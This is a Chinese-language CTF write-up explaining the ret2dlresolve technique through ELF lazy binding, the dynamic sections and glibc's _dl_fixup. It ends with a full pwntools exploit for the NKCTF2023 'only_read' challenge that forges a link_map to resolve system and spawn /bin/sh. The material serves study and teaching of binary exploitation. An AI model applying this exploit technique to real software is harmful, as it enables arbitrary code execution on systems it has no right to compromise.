前言

ret2dlresolve攻击的核心就是控制相应的参数及其对应地址的内容,从而控制解析的函数。在此略微总结关于其相关原理。

1.分析实例来源:bbctf_2020_fmt_me,仅用以了解相关段知识

2.例题来源:NKCTF2023-only_read

以上皆为64位程序,且仅考虑防护为Partial RELRO下的情况。

前置知识

1.什么是延迟绑定

​ 因为程序分为静态链接跟动态链接,因为好多库函数在程序中并不一定都用到,所以在处理动态链接程序的时候,elf文件会采取一种叫做延迟绑定(lazy binding)的技术,也就是当我们位于动态链接库的函数被调用的时候,编译器才会真正确定这个函数在进程中的位置。之后,程序再次调用该函数时,会直接跳转到已经绑定好的地址,而不需要再进行动态链接和加载共享库的过程。延迟绑定通常用于大型程序中需要加载多个共享库的情况,可以避免不必要的资源消耗,提高程序的性能和响应速度。

第一次调用

例如call _read:

程序跳到read_plt

直接跳到0x404040对应储存的代码段处

gdb-peda$ x/gx 0x404040
0x404040:   0x0000000000401086

因为第一次调用还未正确加载函数,所以我们跳到0x401086处,即push 0x5;jmp 0x401020。其中0x5表示索引。后面将会提到。

gdb-peda$ x/30i 0x401020 
   0x401020:    push   QWORD PTR [rip+0x2fe2]        # 0x404008
   0x401026:    jmp    QWORD PTR [rip+0x2fe4]        # 0x404010

我们来到0x401020处,首先将0x404008储存的值压入栈中,然后跳到0x404010储存的对应代码段中。其中0x404008存储的为一个叫link_map的指针,其中包含程序的相关信息。_dl_runtime_resolve函数将会根据push的索引解析获得函数的实际地址,并填入对应的got表中。

gdb-peda$ tele 0x404008
0000| 0x404008 --> 0x7f39a7d41168 --> 0x0 
0008| 0x404010 --> 0x7f39a7b31e40 (<_dl_runtime_resolve_xsave>:    push   rbx)

这样第一次函数调用就完成了,对应的got表中也有了正确的函数地址。

第二次调用

​ 由于第一次调用,对应的got已经填入函数地址,将直接调用对应函数。

2.elf段

gdb-peda$ readelf
.interp = 0x4002a8
.note.gnu.build-id = 0x4002c4
.note.ABI-tag = 0x4002e8
.gnu.hash = 0x400308
.dynsym = 0x400330
.dynstr = 0x4004b0
.gnu.version = 0x400574
.gnu.version_r = 0x400598
.rela.dyn = 0x4005c8
.rela.plt = 0x400658
.init = 0x401000
.plt = 0x401020
.text = 0x4010c0
.fini = 0x401388
.rodata = 0x402000
.eh_frame_hdr = 0x402080
.eh_frame = 0x4020c8
.init_array = 0x403e00
.fini_array = 0x403e08
.dynamic = 0x403e10
.got = 0x403fe0
.got.plt = 0x404000
.data = 0x404060
.bss = 0x404080

​ 对于ret2dlresolve我们主要关注

  • .dynsym
  • .dynstr
  • .dynamic
  • .got.plt
  • .rela.plt

.dynsym

下面是64位下的sym结构体

typedef struct 
{ 
  Elf64_Word    st_name;        /* Symbol name (string tbl index) */ 
  unsigned char st_info;        /* Symbol type and binding */ 
  unsigned char st_other;       /* Symbol visibility */ 
  Elf64_Section st_shndx;       /* Section index */ 
  Elf64_Addr    st_value;       /* Symbol value */ 
  Elf64_Xword   st_size;        /* Symbol size */ 
} Elf64_Sym;

其中

  • Elf64_Word 32 位
  • Elf64_Section 16 位
  • Elf64_Addr 64 位
  • Elf64_Xword 64 位

所以sym结构体的大小为24字节,.dynsym段由一系列sym结构体构成,每个结构体可以说对应一个函数。

我们重点关注这个st_name,它存储了函数字符串在.dynstr段中的偏移。

.dynstr

.dynstr段紧贴.dynsym段。其中存储了一系列函数的名称字符串。例如我们从.dynsym段中取出puts的sym结构体的st_name的值,为0xb。从.dynstr基址偏移0xb即为puts字符串。

.dynamic

可以看到该段存储了许多关于其他段的信息。其中DT_STRTABDT_SYMTAB、分别.dynstr.dynamic,尤为重要的是DT_JMPREL对应.rel.plt段(重定位表)。

那么什么是.rel.plt段呢?

我们首先理清楚第一次调用时干了什么,它首先push了一个索引,然后又push了一个link_map指针,显然push的索引是为了找到对应的函数。系统根据link_map指针查找DT_JMPREL储存的值找到了.rel.plt段,并利用索引找到对应的结构体。

其中定义的结构体为

typedef struct
{
  Elf64_Addr        r_offset;                /* Address */
  Elf64_Xword        r_info;                        /* Relocation type and symbol index */
  Elf64_Sxword        r_addend;                /* Addend */
} Elf64_Rela;
/* How to extract and insert information held in the r_info field.  */

r_offset表示延迟绑定后函数地址填入的位置,即函数的got表,而r_info可以得到函数在.dynsym段中的索引。

例如read函数:其 r_info为700000007h,(0x700000007h>>32)后为7,表示在.dynsym段中的索引为7.

数一数,确实如此。

3.流程总结

那么,我们最后总结一下整个过程:

1.延迟绑定push函数索引以及link_map结构体指针
2.系统根据link_map指针获取.dynsym、.dynstr以及.rel.plt地址
3.根据函数索引在.rel.plt段中查找函数在.dynsym段中的偏移
4.拿到偏移后,找出对应的sym结构体,根据sym结构体的st_name在.dynstr中查找函数名称字符串
5._dl_runtime_resolve函数利用获取的字符串得到真正的函数地址并调用,再将函数地址填入got表中

你可能已经发现了其中可以利用的漏洞点:如果有合适的栈溢出,我们可以人为的伪造一个link_map指针以及函数索引,控制调用危险函数,32位可以只伪造函数索引,即伪造索引为一个很大的值,并且伪造reloc,symtab,strtab。但是64位下会出错,原因是在_dl_fixup函数执行过程中,访问到了一段未映射的地址处。

例题分析

这里我们那NKCTF2023的only_read举例。

可以很明确的看到一个栈溢出漏洞,并且全局都没有能够像write这样的输出函数。这里的偏移我们以汇编的为准,即距离rbp为0x30。

1.关键函数

这里介绍一下_dl_runtime_resolve中重要的函数<_dl_fixup>

_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map,也就是got[1]
{
    // 获取link_map中存放DT_SYMTAB的地址
  const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
    // 获取link_map中存放DT_STRTAB的地址
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    // reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 根据重定位结构体的r_info得到symtab表中对应的结构体
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;

  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7

   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码
    {
      const struct r_found_version *version = NULL;
    // 这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码
      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
    {
      // 到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,由于我们一般伪造的symtab位于bss段,就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段,第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。
      const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
      ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
      version = &l->l_versions[ndx];
      if (version->hash == 0)
        version = NULL;
    }

      /* We need to keep the scope around so do some locking.  This is
     not necessary for objects which cannot be unloaded or when
     we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
    {
      THREAD_GSCOPE_SET_FLAG ();
      flags |= DL_LOOKUP_GSCOPE_LOCK;
    }

      RTLD_ENABLE_FOREIGN_CALL;
    // 在32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
    THREAD_GSCOPE_RESET_FLAG ();

      RTLD_FINALIZE_FOREIGN_CALL;

      /* Currently result contains the base load address (or link map)
     of the object that defines sym.  Now add in the symbol
     offset.  */
      // 同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_value
      value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    }
  else
    {
      // 这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使value为我们所需要的函数的地址,所以就得控制两个参数,l_addr 和 st_value
      /* We already found the symbol.  The module (and therefore its loadaddress) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }

  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);

  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;
  // 最后把value写入相应的GOT表条目中
  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

2.伪造link_map

接下来我们的任务就是控制 link_map 中的l_addrsym中的st_value

具体思路为

  • 伪造 link_map->l_addr 为libc中已解析函数与想要执行的目标函数的偏移值,如 addr_system-addr_xxx
  • 伪造 sym->st_value 为已经解析过的某个函数的 got 表的位置
  • 也就是相当于 value = l_addr + st_value = addr_system - addr_xxx + real_xxx = real_system

根据前面讲到的sym结构体知识,st_value的偏移为0x8。

如果,我们把一个函数的got表地址-0x8的位置当作sym表首地址,那么它的st_value的值就是这个函数的got表上的值,也就是实际地址,此时它的st_other恰好不为0。

那么现在让我们来看看link_map的具体结构

struct link_map {
    Elf64_Addr l_addr;

    char *l_name;

    Elf64_Dyn *l_ld;

    struct link_map *l_next;

    struct link_map *l_prev;

    struct link_map *l_real;

    Lmid_t l_ns;

    struct libname_list *l_libname;

    Elf64_Dyn *l_info[76];  //l_info 里面包含的就是动态链接的各个表的信息
    ...

    size_t l_tls_firstbyte_offset;

    ptrdiff_t l_tls_offset;

    size_t l_tls_modid;

    size_t l_tls_dtor_count;

    Elf64_Addr l_relro_addr;

    size_t l_relro_size;

    unsigned long long l_serial;

    struct auditstate l_audit[];
}

图片没有截全,我们只需要关注l_addr,以及l_info

我们需要伪造这个数组里的几个指针

  • DT_STRTAB指针:位于link_map_addr +0x68(32位下是0x34)
  • DT_SYMTAB指针:位于link_map_addr + 0x70(32位下是0x38)
  • DT_JMPREL指针:位于link_map_addr +0xF8(32位下是0x7C)

然后分别伪造三个对应的结构体即可,dynstr只需要指向一个可读的地方,因为这里我们没有用到。着重讲一下DT_JMPREL指针,程序找到该指针后,取出对应Elf64_Dyn结构体的d_un值用以找到.rel.plt段,即我们既要伪造DT_JMPREL指针,也要伪造对应的d_un值。

3.exp

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io=process('./only_read')

elf=ELF('./only_read')
libc=ELF('./libc-2.31.so')

pop_rdi=0x401683
pop_rsi_r15=0x401681
plt_load=0x401026 
fun_addr=0x4013c4

bss=0x404060
read_plt=elf.plt['read']
read_got=elf.got['read']
l_addr=libc.sym['system']-libc.sym['read']
r_offest=bss+l_addr*-1

dynstr=0x4004D8

io.send(b'V2VsY29tZSB0byBOS0NURiEA')
sleep(0.5)
io.send(b'dGVsbCB5b3UgYSBzZWNyZXQ6AA==')
sleep(0.5)
io.send(b'SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45AA==')
sleep(0.5)
io.send(b'Y2FuIHlvdSBmaW5kIG1lPwA=')
sleep(0.5)

payload=b'a'*0x38+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(bss+0x100)+p64(0)+p64(read_plt)+p64(fun_addr)
io.send(payload)
sleep(0.5)

fake_link_map_addr=bss+0x100
#由于我们用不到strtab,所以dynstr随意设置了一个可读区域
fake_strtab_addr=fake_link_map_addr+0x8
fake_strtab=p64(0)+p64(dynstr)

# 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8
fake_symtab_addr=fake_link_map_addr+0x18
fake_symtab=p64(0)+p64(read_got-8)

fake_rel_addr=fake_link_map_addr+0x28
# fake_linkmap_addr + 0x38,因为伪造的push的索引是0,也就是第一项
fake_dyn_rel=p64(0)+p64(fake_link_map_addr+0x38)#这里的值就是伪造的.rel.plt的地址

# Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
# Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项,7是为了绕过条件判断
# Rela->r_addend,任意值都行
fake_rel=p64(r_offest)+p64(0x7)+p64(0)

 # &(2**64-1)是因为offset为负数,如果不控制范围,p64后会越界,发生错误
fake_link_map=p64(l_addr& (2 ** 64 - 1))
fake_link_map+=fake_strtab
fake_link_map+=fake_symtab
fake_link_map+=fake_dyn_rel
fake_link_map+=fake_rel
fake_link_map=fake_link_map.ljust(0x68,b'\x00')
# fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址
fake_link_map+=p64(fake_strtab_addr)
 # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
fake_link_map+=p64(fake_symtab_addr)
fake_link_map+=b'/bin/sh\x00'
fake_link_map=fake_link_map.ljust(0xf8,b'\x00')
# fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
fake_link_map+=p64(fake_rel_addr)
io.send(fake_link_map)

sleep(0.5)
#把/bin/sh传进rdi,并且调用_dl_rutnime_resolve函数,传入伪造好的link_map和索引
payload=b'a'*0x38+p64(pop_rdi)+p64(fake_link_map_addr+0x78)+p64(plt_load)+p64(fake_link_map_addr)+p64(0)
io.send(payload)

io.interactive()

参考

https://bbs.kanxue.com/thread-266769-1.htm#msg_header_h3_3

https://www.freebuf.com/articles/system/170661.html

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/#partial-relro



追求现实的理想主义者。